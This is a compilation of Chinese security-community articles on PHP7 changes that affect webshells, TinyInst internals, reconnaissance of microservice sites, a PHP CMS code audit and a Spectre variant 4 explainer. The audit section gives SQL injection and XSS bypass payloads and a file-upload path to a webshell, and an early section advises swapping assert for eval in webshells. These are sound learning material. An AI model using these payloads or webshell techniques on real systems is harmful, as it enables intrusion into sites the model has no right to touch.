去特么的预示，我已经很久没在目标站上挖到过sql注入了，全都是预编译！
#### unserialize()增加一个可选白名单参数
$data = unserialize($serializedObj1 , ["allowed_classes" => true]);
$data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);
其实就是一个白名单，如果反序列数据里面的类名不在这个白名单内，就会报错。
像这样的报错！
可以是类名也可以是布尔数据，如果是`FALSE`就会将所有的对象都转换为`__PHP_Incomplete_Class`对象。`TRUE`是无限制。也可以传入类名实现白名单。
妈的，还好现在是可选不是必选，要是默认`FALSE`逼程序员弄白名单那就真的吐血了。
#### **assert()** 默认不在可以执行代码
这就是众多马不能用的罪魁祸首了，太多的马用assert()来执行代码了，这个更新基本就团灭，一般情况下修改成eval即可正常运行了~
提一下，菜刀在实现文件管理器的时候用的恰好也是assert函数，这导致菜刀没办法在PHP7上正常运行。
### 语法修改
#### foreach不再改变内部数组指针
<?php
$a = array('1','2','3');
foreach ($a as $k=>&$n){
echo "";
}
print_r($a);
foreach ($a as $k=>$n){
echo "";
}
print_r($a);
这样的代码在php5中，是这样的执行结果：
因为数组最后一个元素的 $value 引用在 foreach
循环之后仍会保留，在第二个循环的时候实际上是对之前的指针不断的赋值。php7中通过值遍历时，操作的值为数组的副本，不在对后续操作进行影响。
这个改动影响了某些cms的洞在PHP7上无法利用了….你知道我指的是哪个洞的。
这个问题在PHP7.0.0以后的版本又被改回去了，只影响这一个版本。
#### 8进制字符容错率降低
在php5版本，如果一个八进制字符如果含有无效数字，该无效数字将被静默删节。
<?php
echo octdec( '012999999999999' ) . "\n";
echo octdec( '012' ) . "\n";
if (octdec( '012999999999999' )==octdec( '012' )){
echo ": )". "\n";
}
比如这样的代码在php5中的执行结果如下：
但是在php7里面会触发一个解析错误。
这个问题同样在PHP7.0.0以后的版本又被改回去了，只影响这一个版本。
#### 十六进制字符串不再被认为是数字
这个修改一出，以后CTF套路会少很多啊~
很多骚操作都不能用了~
这个没什么好说的，大家都懂。
<?php
var_dump("0x123" == "291");
var_dump(is_numeric("0x123"));
var_dump("0xe" + "0x1");
var_dump(substr("foo", "0x1"));
?>
以上代码在PHP5运行结果如下：
PHP7运行结果如下：
你以为我要说这个在后续版本被改回去了？不，目前截至最新的PHP7.3版本依然没有改回去的征兆，官方称不会在改了。这个讲道理还是蛮伤的。
#### 移除了 ASP 和 script PHP 标签
]
现在只有`<?php ?>`这样的标签能在php7上运行了。
字面意思，影响其实不是很大（只是以后骚套路会少一点）。
#### 超大浮点数类型转换截断
将浮点数转换为整数的时候，如果浮点数值太大，导致无法以整数表达的情况下， 在PHP5的版本中，转换会直接将整数截断，并不会引发错误。 在PHP7中，会报错。
CTF又少一个出题套路，这个问题我只在CTF上见过，影响应该不大。
### 杂项
`exec(), system() passthru()`函数对 NULL 增加了保护.
`list()`不再能解开字符串`string`变量
`$HTTP_RAW_POST_DATA` 被移除
`__autoload()` 方法被废弃
`parse_str()` 不加第二个参数会直接把字符串导入当前的符号表，如果加了就会转换称一个数组。现在是第二个参数是强行选项了。
统一不同平台下的整型长度
`session_start()` 可以加入一个数组覆盖php.ini的配置
### 后记
这篇文章将保持长期更新和修正。但是很遗憾FB在发布之后作者就没有权限更改了，因此后续更新将在博客上发布。
错误的地方或者不全的地方请通过[email protected]联系我。
### 引用
1. <http://php.net/>
* * * | 社区文章 |
# TinyInst动态插桩工具原理分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[houjingyi](https://twitter.com/hjy79425575)
## 前言
这篇文章主要是分析一下project zero大佬开源的一个插桩的库TinyInst：
<https://github.com/googleprojectzero/TinyInst>
同时大佬也开源了基于该库的fuzzer：
<https://github.com/googleprojectzero/Jackalope>
TinyInst和Jackalope都支持Windows和macOS。不过只支持Intel平台，因为具体实现依赖于Intel的xed解码/编码器。
也有人把这个和WinAFL结合的：
<https://github.com/linhlhq/TinyAFL>
看他们twitter都用基于TinyInst的fuzzer挖到了一些Windows和macOS上的漏洞，看来还是值得学习这里面插桩的原理的。
TinyInst中litecov类继承自TinyInst类，而TinyInst类继承自Debugger类。这就是最关键的三个类了。下面我们以Windows环境为例进行分析。
在下面这张我画的流程图中，黑色的是Debugger类中实现的函数，黄色的是TinyInst类中实现的函数，红色的是litecov类中实现的函数。看上去很复杂，实际上这里面的代码逻辑还是比较清楚的。比如OnProcessExit在Debugger类中是一个虚方法，在TinyInst类和litecov类中才有具体的实现，对于这样的情况为了简化在图中就没有黑色的OnProcessExit了。
我们接下来分析的顺序也是debugger.cpp-tinyinst.cpp-litecov.cpp，每分析一个新类之前都会先简单介绍一下整体的功能，然后会详细解释流程图中涉及到的函数。当然并不是每个函数都画在流程图里面了，只挑了一些关键的函数。所以阅读文章时最好还是自己调试阅读源代码。
## debugger.cpp
我们先看流程图中黑色的函数。熟悉Windows系统调试相关知识的话应该很快能明白，就是实现了一个简单的调试器。创建进程之后在DebugLoop中根据不同的调试事件进行不同的处理。在目标方法地址处设置一个断点，程序运行到目标方法时触发这个断点产生异常被调试器捕获，此时保存参数和返回地址，修改返回地址使得目标方法返回时产生一个异常又被调试器捕获，此时恢复参数和返回地址，恢复之前设置的断点，以此循环。
下面是图中函数的注释。
**Debugger::OnModuleLoaded**
当模块被加载时会调用该函数，如果指定了target_module和target_method/target_offset并且这个module就是target_module那么获取目标方法的地址并在该地址添加BREAKPOINT_TARGET类型的断点
**Debugger::HandleTargetReachedInternal**
当到达目标方法时会调用该函数，保存参数和返回地址，并将返回地址修改为PERSIST_END_EXCEPTION，当目标方法结束时会产生一个异常
**Debugger::HandleTargetEnded**
当目标方法返回时会调用该函数，恢复参数和返回地址，恢复在目标方法的地址处添加的BREAKPOINT_TARGET类型的断点
**Debugger::OnEntrypoint**
当到达程序入口点时会调用该函数，对所有加载的模块都调用Debugger::OnModuleLoaded，并将child_entrypoint_reached标记为true
**Debugger::HandleDebuggerBreakpoint**
当遇到断点的时候会调用该函数，首先从断点列表breakpoints中删除该断点，然后恢复断点处原来的值和指令地址寄存器，根据断点的类型BREAKPOINT_ENTRYPOINT或BREAKPOINT_TARGET调用OnEntrypoint或HandleTargetReachedInternal，返回断点类型
**Debugger::HandleDllLoadInternal**
当模块被加载时会调用该函数，如果child_entrypoint_reached为true调用Debugger::OnModuleLoad
**Debugger::OnProcessCreated**
如果是附加到一个进程的情况那么直接对主模块调用Debugger::OnModuleLoaded，否则在模块的入口点添加一个BREAKPOINT_ENTRYPOINT类型的断点
**Debugger::HandleExceptionInternal**
处理EXCEPTION_DEBUG_EVENT调试事件。
对于断点的情况调用Debugger::
HandleDebuggerBreakpoint函数，返回DEBUGGER_TARGET_START或者DEBUGGER_CONTINUE；
对于
ACCESS_VIOLATION的情况如果指定了target_module和target_method/target_offset并且ExceptionAddress是PERSIST_END_EXCEPTION说明这是目标方法返回产生的异常，调用Debugger::HandleTargetEnded函数，返回DEBUGGER_TARGET_END；
对于其它情况返回DEBUGGER_CRASHED
**Debugger::DebugLoop**
循环，根据不同的调试事件进行不同的处理
## tinyinst.cpp
接下来我们来看流程图中黄色的函数，这里涉及到的就是插桩具体的一些实现。
总的来说，加载要插桩的模块后：
1.模块中的所有可执行区域都被标记为不可执行，同时保留了其他权限(读/写)。这会导致每当控制流到达模块时都会产生异常并被调试器捕获并处理。
2.在原始模块地址范围的2GB之内分配了一个可执行的内存区域放置已插桩的模块代码。将所有以[rip+offset]形式寻址的指令替换为[rip+fixed_offset]。
无论何时进入被插桩的模块都会插桩被命中的基本块(TinyInst::TranslateBasicBlock)，以及可以通过递归遵循条件分支以及直接调用和跳转到达的所有基本块(TinyInst::TranslateBasicBlockRecursive)。
对于直接调用/跳转：都会访问已插桩代码中的正确位置
对于间接调用/跳转：都会访问其原始代码位置，这将导致异常，调试器会rip替换为插桩代码中的相应位置(TinyInst::TryExecuteInstrumented)
目标位于已插桩模块中的每个间接调用/跳转上都会引起异常。由于异常处理的速度很慢，因此具有很多间接调用/跳转的目标(例如C++中的虚方法，函数指针)将很慢。
TinyInst中支持两种转换间接调用/跳转的方法：
1.本地列表
(TinyInst::InstrumentLocalIndirect)
2.全局hash表(默认)
(TinyInst::InitGlobalJumptable、TinyInst::InstrumentGlobalIndirect)
不管是本地列表还是全局hash表，原理都是让间接调用/跳转去跳转到一个列表的开头。列表每一项都包含一对(original_target，translation_target)。测试跳转/调用目标是否与original_target相匹配，如果匹配，控制流将转到translation_target。否则跳到下一项。如果到达列表的末尾，则意味着之前没有看到调用/跳转的目标。这将导致调试器捕获到一个断点(TinyInst::HandleBreakpoint)，此时会创建一个新项并将其插入列表中(TinyInst::AddTranslatedJump)。
使用本地列表的情况：
插桩间接调用/跳转指令之后：
调试器捕获到一个断点向列表中加入一个新项：
使用全局hash表的情况：
插桩间接调用/跳转指令之后：
调试器捕获到一个断点向列表中加入一个新项：
下面几个变量单独说一下：
size_t instrumented_code_size;
//插桩区域总大小
size_t instrumented_code_allocated;
//已经占用的大小
char *instrumented_code_local;
//指向调试进程插桩区域起始位置的指针
char *instrumented_code_remote;
//指向目标进程插桩区域起始位置的指针
比如我们用github上给出的示例程序对notepad.exe进行插桩：
`litecov.exe -instrument_module notepad.exe -coverage_file coverage.txt --notepad.exe`
这里调试进程就是指的litecov.exe，目标进程就是指的notepad.exe。插桩的代码是先写到litecov.exe的地址空间(TinyInst::WriteCode)再写到notepad.exe的地址空间(TinyInst::CommitCode)的。
下面是图中函数的注释。
**TinyInst::InitGlobalJumptable**
大小为JUMPTABLE_SIZE的数组，其中每项最初都指向一个断点。当检测到新的间接调用/跳转时将触发断点，然后会在此哈希表中添加新项
**TinyInst::HandleBreakpoint**
调用TinyInst::HandleIndirectJMPBreakpoint
**TinyInst::HandleIndirectJMPBreakpoint**
该地址如果指向TinyInst::InitGlobalJumptable中添加的断点说明是全局跳转；如果能在br_indirect_newtarget_list中找到说明是本地跳转。调用TinyInst::AddTranslatedJump并从
TinyInst::AddTranslatedJump创建的代码处开始执行
**TinyInst::AddTranslatedJump**
向列表中插入一对新((original_target，translation_target)
**TinyInst::InstrumentRet**
对ret指令插桩，最后rax中保存返回地址
mov [rsp + rax_offset], rax
//保存rax
mov rax, [rsp]
mov [rsp + ret_offset], rax
//保存返回地址
lea rsp, [rsp + ret_pop]
//栈对齐
push f
mov rax, [rsp + rax_offset]
push rax
mov rax, [rsp + ret_offset]
调用TinyInst::InstrumentIndirect
**TinyInst::InstrumentIndirect**
调用TinyInst::InstrumentGlobalIndirect或者TinyInst::InstrumentLocalIndirect
**TinyInst::InstrumentGlobalIndirect**
使用全局跳转表转换间接jump/call xxx
**TinyInst::InstrumentLocalIndirect**
使用本地跳转表转换间接jump/call xxx
**TinyInst::TranslateBasicBlock**
首先保存原始偏移和插桩后的偏移，调用LiteCov::InstrumentBasicBlock进行基本块插桩，然后调用LiteCov::InstrumentInstruction进行指令级插桩。
1.如果基本块的最后一条指令是ret指令则调用InstrumentRet插桩；
2.如果基本块的最后一条指令是条件跳转指令，则进行如下所示的插桩：
插桩前：
// j* target_address
插桩后：
// j* label
// <edge instrumentation>
// jmp continue_address
// label:
// <edge instrumentation>
// jmp target_address
3.如果基本块的最后一条指令是非条件跳转指令并且是jmp address(不是jmp [address]这样的指令)，则改成jmp
fixed_address；如果基本块的最后一条指令是非条件跳转指令并且不是jmp address，则调用InstrumentIndirect插桩；
4.如果基本块的最后一条指令是call指令并且是call address(不是call [address]这样的指令)，则进行如下所示的插桩：
插桩前：
// call target_address
插桩后：
// call label
// jmp return_address
// label:
// jmp target_address
如果基本块的最后一条指令是call指令并且不是call address，则调用InstrumentIndirect插桩。
**TinyInst::TranslateBasicBlockRecursive**
从起始地址开始任何插桩过程中遇到的基本块都加入到队列循环调用TranslateBasicBlock进行插桩
**TinyInst::OnCrashed**
打印出crash时的信息，前后的代码，所在的模块等等
**TinyInst::GetTranslatedAddress**
返回给定地址对应的插桩模块中的地址
**TinyInst::TryExecuteInstrumented**
检查给定地址是否能在插桩模块中找到，如果是则调用LiteCov::OnModuleEntered，将rip设为其在插桩模块中的地址
**TinyInst::InstrumentModule/TinyInst::InstrumentAllLoadedModules**
对模块进行插桩，首先将模块中所有可执行的区域标记为不可执行并拷贝这些代码，然后为插桩的代码分配地址空间，调用TinyInst::InitGlobalJumptable初始化全局跳转表，最后调用LiteCov::OnModuleInstrumented
**TinyInst::OnInstrumentModuleLoaded**
调用TinyInst::InstrumentModule
**TinyInst::OnModuleLoaded**
如果需要插桩该模块则调用TinyInst::OnInstrumentModuleLoaded
**TinyInst::OnModuleUnloaded**
清除插桩信息
**TinyInst::OnTargetMethodReached**
调用TinyInst::InstrumentAllLoadedModules
**TinyInst::OnEntrypoint**
调用TinyInst::InstrumentAllLoadedModules
**TinyInst::OnException**
如果是断点导致的异常调用TinyInst::HandleBreakpoint；如果是ACCESS_VIOLATION这可能是因为要执行的代码在插桩的代码区域，调用TinyInst::TryExecuteInstrumented
**TinyInst::OnProcessExit**
清理并调用LiteCov::OnModuleUninstrumented
## litecov.cpp
最后我们来看流程图中红色的函数，这里终于涉及到了关于代码覆盖率处理。我们先快速过一下用到的x86_helpers.c中的函数以便之后更好理解litecov.cpp中的代码。
**GetUnusedRegister**
返回AX/EAX/RAX
**Get8BitRegister**
返回寄存器的低8位，例如对于AX/EAX/RAX都返回AL
**GetFullSizeRegister**
和Get8BitRegister相反，RAX/EAX/AX/AH/AL都返回RAX(64位)，EAX/AX/AH/AL都返回EAX(32位)
**Push**
生成push指令
**Pop**
生成pop指令
**CopyOperandFromInstruction**
进行指令级插桩时如果cmp指令的第一个操作数不是寄存器(cmp DWORD PTR [ebp-0x14],
eax)那么需要一条mov指令将第一个操作数移到寄存器中(mov ecx, DWORD PTR
[ebp-0x14]),该函数将cmp指令的第一个操作数拷贝到mov指令的第二个操作数
**Mov**
生成mov指令
**Lzcnt**
生成lzcnt指令
**CmpImm8**
生成cmp指令
**GetInstructionLength**
获取指令长度
**FixRipDisplacement**
修复[rip+displacement]这样的指令的偏移
下面几个变量单独说一下：
unsigned char *coverage_buffer_remote;
//指向coverage buffer起始位置的指针
size_t coverage_buffer_size;
//coverage buffer总大小
size_t coverage_buffer_next;
//coverage buffer已经占用的大小
std::set<uint64_t> collected_coverage;
//收集的coverage的集合
std::set<uint64_t> ignore_coverage;
//忽略的coverage的集合
std::unordered_map<size_t, uint64_t> buf_to_coverage;
//key是coverage_buffer的偏移，valve是对应的basic block/edge code
std::unordered_map<uint64_t, size_t> coverage_to_inst;
//key是basic block/edge code，valve是对应的插桩区域中的位置
std::unordered_map<size_t, CmpCoverageRecord*> buf_to_cmp;
//key是cmp code，value是对应的CmpCoverageRecord
std::unordered_map<uint64_t, CmpCoverageRecord*> coverage_to_cmp;
//key是coverage_buffer的偏移，valve是对应的CmpCoverageRecord
下面是图中函数的注释。
**LiteCov:: OnModuleInstrumented**
分配coverage_buffer
**LiteCov:: OnModuleUninstrumented**
调用LiteCov::CollectCoverage，释放coverage_buffer
**LiteCov::EmitCoverageInstrumentation**
插入mov [coverage_buffer_remote + coverage_buffer_next], 1
将信息记录到buf_to_coverage和coverage_to_inst
**LiteCov::InstrumentBasicBlock**
基本块插桩，调用LiteCov::EmitCoverageInstrumentation
**LiteCov::InstrumentEdge**
边插桩，调用LiteCov::EmitCoverageInstrumentation
**LiteCov::GetBBCode**
basic block code是模块起始地址到基本块的偏移
**LiteCov::GetEdgeCode**
edge code的低32位和高32位分别表示源地址和目的地址
**LiteCov::InstrumentInstruction**
实现指令级插桩，当指定了compare_coverage时可以通过指令级插桩记录cmp/sub指令中匹配的字节数。对于sub指令调用LiteCov::ShouldInstrumentSub判断是否应该插桩。
插桩前：
cmp DWORD PTR [ebp-0x14],eax
插桩后：
push ecx
mov ecx,DWORD PTR [ebp-0x14]
xor ecx,eax
lzcnt ecx,ecx
cmp ecx, match_width
jb end
mov BYTE PTR [data->coverage_buffer_remote + data->coverage_buffer_next],cl
end:
pop ecx
将信息记录到buf_to_cmp和coverage_to_cmp
**LiteCov::OnModuleEntered**
如果插桩边，因为源地址来自另一个模块，所以用0表示源地址，加入到collected_coverage
**LiteCov::CollectCoverage**
读取coverage_buffer_remote中的数据，通过buf_to_coverage找到对应的basic block/edge code,
如果没有找到并且设置了-cmp_coverage说明此处是cmp的coverage信息，调用CollectCmpCoverage获取cmp
code并加入collected_coverage；如果找到了则将basic block/edge code加入collected_coverage
**LiteCov::OnProcessExit**
调用CollectCoverage
**LiteCov::GetCmpCode**
cmp code高32位表示basic block偏移，接下来的24位表示cmp指令在basic
block内的偏移，最后8位表示匹配的bit数。最高位设为1
**LiteCov::ShouldInstrumentSub**
是否应该插桩sub指令，如果后面有call/ret/jmp这样的指令就不插桩，如果后面有cmov/jz/jnz这样的指令就插桩
## coverage.cpp
coverage.cpp实现了对coverage的管理，Coverage列表中每个成员是一个ModuleCoverage，两个成员分别是模块名和该模块中的basic
block/edge/cmp code。代码很简单就不再赘述了。
## 总结
如前所述，作者也给出了一个示例程序tinyinst-coverage.cpp。基本上主要的代码就是这样。希望这篇文章能对动态插桩和tinyInst感兴趣的同学有所帮助。 | 社区文章 |
# 新时代的渗透思路！微服务下的信息搜集（II）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
我是掌控安全的咸鱼-魔术手，上次讲了 **_微服务下的信息收集(一)_** ，这次来水一下 **_微服务下的信息收集(II)_** 。
上次介绍了一个公司的站点可能由各个独立在不同服务器上的服务组成，所以我们需要想尽办法找到更多的域名；为了更好的测试我们也需要找到更多的`目录`和`参数`。上次介绍可以从目标的微信小程序搜集域名，也介绍了一款可以帮助我们收集目标`js`里子域名和url的工具`JSFinder`。这次我们继续介绍如何收集更多的资料，以下所有内容都是围绕同一个站点进行，目标域名`abc.com`，但是因为一些原因，真实站点截图无法放出，部分截图为某公益src项目信息收集截图。
## 相关域名发现
1. 备案查询
绝大多数网站都是有备案信息的，可以通过备案信息查询。如下图，通过[备案查询](http://icp.chinaz.com/),我们找到另一个站点`xyz123.com`(该截图来自对某公益src站点的采集，并非原目标)。
2. 证书透明度公开日志枚举
证书透明度（Certificate
Transparency,CT）是证书授权机构（CA）的一个项目，证书授权机构CA会将他们发布的每个SSL/TLS证书发布到公共日志中。一个SSL/TLS证书通常包含域名、子域名和邮件地址，它们也经常成为攻击者非常希望获得的有用信息。因为目标是个大型站点，用这种方法找到的几率比较大。如下图，在`https://crt.sh/`中查询(该截图来自对某公益src站点的采集，并非原目标)：
3. dns等
这里还有很多方法，太过繁琐，直接上工具，这次用的工具是[`oneforall`](https://github.com/shmilylty/OneForAll)，功能很多，各位感兴趣可以自己研究。(该截图来自对某公益src站点的采集，并非原目标)
通过上面的收集，除了发现很多有意思的子域名，而且搜索到了如`xyz123.com`和`ddba.com`等和目标相关的域名。
## 服务划分
对上面找到的域名逐个访问，对得到的内容进行简单处理，发现目前搜集到的服务(能访问的域名)主要有`展示站`，`综合运营管理平台`和`广告服务`。找到他们所对应的服务器，发现每个服务都至少都包含2台服务器，如图：
在上面的所有域名和IP中，有两个挺有趣的，一个是`office.abc.com`,一个是`xxxxx.abc.com`,为什么有趣呢，一是因为名称`office`听起来就像是办公服务，另一个是IP，其余的服务器IP都是`11*.*.*.*`或者是`14*.*.*.*`，就他俩特殊，所以这俩待会要重点关照。
在上篇文章中说过，微服务是由很多个独立的服务组合而成的，而上面收集到的服务看起来不像是所有的服务，毕竟上面是被动的信息收集，搜集的内容有限。假设上面搜集到的服务器是目标的大部分服务器，那么如果目标还有其它服务，我们该怎么办呢？答案是扫描端口。
## 端口扫描
在端口扫描时需要注意的是，因为一台服务器上可能有很多服务，所以这里在扫描的时候需要扫描全部端口，这里使用`nmap -sC -T4 -p
1-65535`重点扫描了那两台服务器，发现了两个有意思的地方，如下：
第二个是一个很厉害的服务，估计是处于开发中，访问页面默认填充账户密码，所以这里不放图了(认怂保平安)。
## 隐私文件探测
在上一篇文章微服务的介绍途中，有一部分是通过git管理的。
于是随手在目标站输入个`abc.com/.git`,得到`403`的反馈。
于是继续随手输入`abc.com/.git/config`
再然后我又顺手输入了很多东西，得到了很多东西，甚至包括开发人员的姓名，邮箱，甚至是内网ip分布和git所在服务器的位置。
## API探测
在上一篇文章中提出可以通过`js`收集`api`的相关信息，但是有些站点使用了`webpack`:
本质上，webpack 是一个现代 JavaScript 应用程序的静态模块打包器(module bundler)。当 webpack
处理应用程序时，它会递归地构建一个依赖关系图(dependency graph)，其中包含应用程序需要的每个模块，然后将所有这些模块打包成一个或多个
bundle。
`webpack`会把所有的`js`信息打包在一起，这样的好处是前后端分离，但同样的，它也会把所有的`api`暴露出来。如下图，直接查看目标源代码：
我们可以逐个点击每个`.js`文件去探寻，这里找到一个`source map`:
通过该`source map`文件可以还原网站原始代码，有两种方法：
1. 使用浏览器自带的解析功能(以火狐举例)
2. 使用工具
> npm install -g source-map-unpack
>
>
这样我们就可以在里面找到更多的信息。
微服务下的信息收集就是那么有意思，通过逐步探测，如同盲人摸象那样找到每一个服务，然后拼凑出一个整体。这次的站点是一个典型的由微服务构成的，但站点性质特殊，所以收集到的内容都是疯狂脱敏的，各位理解万岁。 | 社区文章 |
最近在secquan看到皮师傅写的代码审计，觉得还阔以，下载源码下来看看，审计了一下午，也发现了几个辣鸡漏洞，写下文章，记录下第一次代码审计。
## 文件读取(鸡肋)
#### like.php
位置:`data/like.php`
关键代码
$fang=$_GET['play'];
$jmfang=base64_decode($fang);
$like=file_get_contents($jmfang);
$likezz="/<ul class='s-guess-list g-clear js-list' data-block='tj-guess' monitor-desc=\"猜你喜欢\">(.*?)<\/ul>/is";
$kikez1="/ <img src=\"(.*?)\" data-src='(.*?)'>
<\/a>
<div class='s-guess-right'>
<p class='title'><a href='(.*?)' data-index=(.*?)>(.*?)<\/a><\/p>
<\/div>
/is";
preg_match_all($likezz, $like,$likearr);
preg_match_all($kikez1, $likearr['1']['0'],$liketitle);
...........略.........
直接传play参数，然后读取
读取文件
可以读取只是没有显示，因为like.php中对于读取的文件会自己进行处理，按一定的格式进行输出。另外皮师傅发现的fenlei.php的文件读取更好，这里就不再说明了。
相同的还有`play.php`
<?php
error_reporting(0);
$player = base64_decode($_GET['play']);
$tvinfo = file_get_contents($player);
## SQL
#### agent/index.php
<?php
require dirname(__FILE__) . "/dzsck.php";
if($_GET['type']=='Sell' and $_GET['id']!=''){
$cm->query("UPDATE d_kami SET km_sell=1 WHERE km_id ='".$_GET['id']."'");
echo tiao("已复制好，可贴粘。", "index.php");
exit();
}
if($_GET['type']=='close' and $_GET['id']!=''){
$cm->query("UPDATE d_kami SET km_sell=0 WHERE km_id ='".$_GET['id']."'");
echo backs("卡密取消复制成功！");
exit();
}
$cm->query("SELECT * FROM d_adminuser where admin_id='" . $_SESSION["adminid"] . "' order by admin_id asc");
$adminuser = $cm->fetch_array($rs);
$cm->query("SELECT * FROM d_kami where km_uid='" . $_SESSION["adminid"] . "' order by km_type asc");
$mypagesnum = $cm->db_num_rows();
?>
............略...............
可以看到id参数没有任何过滤带入sql语句，盘他,因为这里是代理的功能，所以要先注册一个代理,直接注册就行
Payload:`http://192.168.0.100/tuana/agent/index.php?type=Sell&id=123`
时间盲注
类似的注入还有
`http://192.168.0.100/tuana/agent/index.php?type=close&id=123`
## XSS
#### payreturn.php
$orderid = $_GET["orderid"];
//$isql="update d_ddcenter set dd_type=1 where dd_order='".$orderid."'";
//$ddinfo=mysql_query($isql);
//$cm->query("SELECT * FROM d_ddcenter where dd_order='" . $orderid . "'");
//$row = $cm->fetch_array($rs);
//$dd_adminid=$row['dd_adminid'];
echo $orderid;
$cm->query("SELECT * FROM d_ddcenter where dd_order='" . $orderid . "' order by dd_id desc");
$km_number = $cm->fetch_array($rs);
$cm->query("SELECT * FROM d_adminuser where admin_id='" . $km_number["dd_adminid"] . "' ");
$km_number3 = $cm->fetch_array($rs);
if($km_number["dd_vip"]==1){
if( $km_number3['admin_endtime']<time())$ddvip = $cm->query("UPDATE d_adminuser SET admin_endtime=".time()."+2678400,admin_level=1,admin_opentime='".$nowtime."' WHERE admin_id='" . $km_number["dd_adminid"] . "'");
else $ddvip = $cm->query("UPDATE d_adminuser SET admin_endtime=admin_endtime+2678400,admin_level=1,admin_opentime='".$nowtime."' WHERE admin_id='" . $km_number["dd_adminid"] . "'");
}
.............略....................
将传入的orderid参数直接输出，很明显的xss
## XSS2
`admin/edituser.php`
<?php
require dirname(__FILE__) . "/dzsck.php";
if (($_GET["type"] == "edit") && $_POST) {
$date = array("admin_aglevel" => $_POST["admin_aglevel"]);
$updates = $cm->cmupdate($date, "admin_id='" . $_POST["id"] . "'", "d_adminuser");
if($updates)
{echo tiao("修改成功！", "edituser.php?id=" . $_POST["id"]);
exit();
}
else{echo tiao("修改失败,请重新修改！", "edituser.php?id=" . $_POST["id"]);
exit();
}
}
这里`POST`的`id`没有任何处理就直接输出，看起来是个xss,那就试试
直接插入xss,发现并不行,代码直接变成这样了
<script type='text/javascript'>alert('修改成功！');location.replace('edituser.php?id=<script>alert(/xss/)</script>');</script>
仔细观察，发现`edituser.php?id`会把`$_POST["id"]`的内容直接连接，并且添加了一些其他的东西`);</script>`,像个办法绕过,尝试将POST的内容改成`admin_aglevel=1&id=123</script>');<script>alert(/xss/)</script>('`
成功xss
## 文件上传
跟进index.php看看，
<?php
if(is_array($_FILES["upfile"])){
$i=0;
if($_POST['pwd'] != $passwd){
echo '<script>alert("��û��Ȩ��")</script>';
exit;
}
while($i<count($_FILES["upfile"])){
if ($_SERVER['REQUEST_METHOD'] == 'POST')
{
if (!is_uploaded_file($_FILES["upfile"][tmp_name][$i]))
//�Ƿ�����ļ�
{
// echo $_FILES["upfile"][tmp_name][$i];
echo "<font color='red'>�ļ�Ԥ����</font>";
exit;
}
// echo $_FILES["upfile"][tmp_name][$i];
$file = $_FILES["upfile"];
if($max_file_size < $file["size"][$i])
//����ļ���С
{
echo "<font color='red'>�ļ�̫��</font>";
exit;
}
if(!in_array($file["type"][$i], $uptypes))
//����ļ�����
{
echo "<font color='red'>�����ϴ��������ļ���</font>";
exit;
}
if(!file_exists($destination_folder))
if(!mkdir($destination_folder,0777,true)){
echo "<font color='red'>������Ŀ¼ʧ��,���ֶ�������</a>";
}
$filename=$file["tmp_name"][$i];
$image_size = getimagesize($filename);
$pinfo=pathinfo($file["name"][$i]);
$ftype=$pinfo[extension];
$destination = $destination_folder.$i.time().".".$ftype;
if (file_exists($destination) && $overwrite != true)
{
echo "<font color='red'>ͬ���ļ��Ѿ������ˣ�</a>";
exit;
}
echo $destination;
if(!move_uploaded_file ($filename, $destination))
{
echo "<font color='red'>�ƶ��ļ�����</a>";
exit;
}
$pinfo=pathinfo($destination);
$fname=$pinfo[basename];
这里要注意的是，我们直接上传的话提示输入密码，还好密码就在`inc/aik.config.php`里
`tu_pass=123456`
上传phpinfo试试，很明显，类型不正确,尝试修改`Content-Type`
上传成功!
试试一句话
成功getshell | 社区文章 |
# CVE-2018-3639 | 最新侧信道攻击详细分析
##### 译文声明
本文是翻译文章，文章来源：pediy.com
原文地址：<https://bbs.pediy.com/thread-245988.htm>
译文仅供参考，具体内容表达以及含义原文为准。
本CSZQ最近对CPU相关漏洞感兴趣，于是深入研究了下CVE-2018-3639也就是Spectre4（幽灵4），有不对的地方欢迎指正。
## 简介
根据微软的一篇博客，已经发现的可用于揣测执行侧信道攻击的分支原语（英文原词在这里，speculation
primitives，不太好翻译，就直译了）共有4种，分别是条件分支预测失误（conditional branch
misprediction）、间接分支预测失误（indirect branch misprediction）、异常传递或延期（exception
delivery or deferral）以及今天的主角揣测存储绕过（Speculative Store Bypass）。
## 详细分析
直接上代码的最重要部分，此代码经过个人添加了注释并修改过一些BUG，可以在文章最后下载源码对照查看每个变量的含义：
最重要的代码在115行和122行，在C语言层面看不出任何问题，请查看汇编代码：
汇编代码中红色部分为115行代码，绿色部分为122行代码，紫色部分即为出现问题的关键代码。
这两行代码出现问题的原因是执行当前代码的核心认为两条指令仅存在输出相关，因此可以使用寄存器重命名的方式并行执行，在《计算机体系结构：量化研究方法（第五版）》中可以找到相关解释：
并行执行一定会出问题吗，那不一定，还需要让执行单元先执行testfun+138指令再执行test+135指令，这样才能保证testfun+138会错误的影响cache。示例代码能够达成这个条件的原因是test+135指令与testfun+128指令相关，因此需要等待前面代码执行完毕，而test+138则没有这个顾虑。
继续深入到核心内部的执行单元，查看其到底是如何完成并行执行的，下图是intel的sandy bridge微架构执行单元：
查询AMD的17代处理器微架构文档，查询到如下信息：
所以可以判断上述两条宏观指令分别被翻译为单条存储相关微指令和单条加载相关微指令，结合上述寄存器重命名技术，因此可以判断在此微架构中使用port2和port4来并行执行两条指令，真相大白。
虽然在test+135存储指令执行完毕后，test+138指令由于错误会回退，但是已经受到影响的cache不会回退，所以可以结合 rdtscp 指令对
cache line 进行时间测试观察是否cache hit即可判断出到数据是多少。
还记得幽灵1么，它主要是由于错误的分支预测导致的 cache line
缓存了错误的数据，而幽灵4，主要是由于错误的揣测执行（暗自揣测圣意认为两条指令无关）造成的。
## 不负责任的猜想
Meltdown，忘记从哪里看到的一个说法，虽然AMD也有异常抑制技术，但是不受到该漏洞影响的原因是核心的执行单元有限，个人觉得应该是AMD的Store和load执行单元为同一个所以免疫，有待后续查证，附带上几个Intel和AMD的架构以供参考：
Intel Haswell微架构：
Intel sandy bridge微架构：
AMD 17th 架构
DEMO程序编译命令：
gcc -o Spec4 Speculative4.c -Wall -DHIT_THRESHOLD=50 -DNO_INTERRUPTS -ggdb
## 参考文献
漏洞PoC地址：
<https://www.exploit-db.com/exploits/44695/>
微软针对CVE-2018-3639的解释：
